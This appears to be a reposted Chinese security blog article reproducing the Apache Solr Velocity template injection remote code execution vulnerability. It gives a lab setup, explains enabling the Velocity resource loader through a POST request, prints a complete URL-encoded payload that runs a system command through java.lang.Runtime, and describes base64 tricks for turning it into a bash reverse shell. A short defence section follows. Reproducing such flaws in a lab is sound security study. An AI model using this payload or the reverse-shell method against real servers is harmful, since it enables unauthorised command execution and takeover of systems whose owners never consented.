Solr Velocity模板远程代码复现及利用指南
2021-07-21 11:02:17 Author: mp.weixin.qq.com(查看原文) 阅读量:129 收藏

0X01前言:

据消息称,安全研究员S00pY在GitHub发布了Apache Solr Velocity模板注入远程命令执行的POC.目前测试,可影响Apache Solr 7.X到8.2.0.故本地搭建环境,学习一下

Github的POC:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

0X02本地搭建:

1:在Solr官网下载8.2.0版本进行复现

https://archive.apache.org/dist/luceen/solr/

2:部署到Linux上

将压缩包解压到文件夹(任意一个文件夹都可以),然后进行bin目录启动Solr(注意不是根目录中的/bin)

在此目录打开终端,输入命令./solr start

本地访问端口8983

3:创建核心

先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下

添加核心

然后访问该核心的config文件,查看是否可以访问

确定config配置里的两个值均为True,如果不是,在第一次攻击报文中,修改为True

0X03复现过程:

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

然后发送执行命令的payload,这里先进行执行命令的回显.

Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

0X04构造EXP:

利用Velocity模板调用java语法进行命令执行,类似于传过去的就像jsp语法.这里有个坑,velocite里没有数组,改造官方POC,构造POC(exec(new String[]))就会出现问题,所以需要换一个方式,用base64编码的方法解决这个问题.

对数组的访问在Velocity中存在问题,因为Velocity只能访问对象的方法,而数组是特殊的数组,所以虽然数组可以循环列举,但不能访问特定位置的元素,如strs[2],数组对固定位置元素的访问调用了数组的反射方法get(Ojbect array,int index).而Velocity没能提供这样的访问,所以数组要么改成List等其他类容器的方式进行封装,或者通过公用Util的方式来提供,传入数组对象和要访问的位置参数,从而达到返回所需值的目的.

进一步利用,进行反弹shell利用bash反弹shell

官网POC,只能执行单个命令的缺陷:当存在|,<,>等符号时就会报错无法执行,无法进行反弹shell等问题,使用base64编码

http://www.jackson-t.ca/runtime-exec-payloads.html

然后在进行url编码,填入替换exec里的payload即可.

0X05防御措施:

攻击者可以直接访问访问Solr控制台,通过访问节点胚子进行getshell获取权限.目前官方已有补丁,在没有补丁的情况下建议增加solr的认证模块,设置强口令,减少被入侵的风险.


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650518207&idx=2&sn=d47733ceee2b58f134be37ba24bc5da3&chksm=83bad75bb4cd5e4d35bda729321448a54a5c2e0ada3df3782b192a5741422bf5d7cd86b412d8#rd
如有侵权请联系:admin#unsafe.sh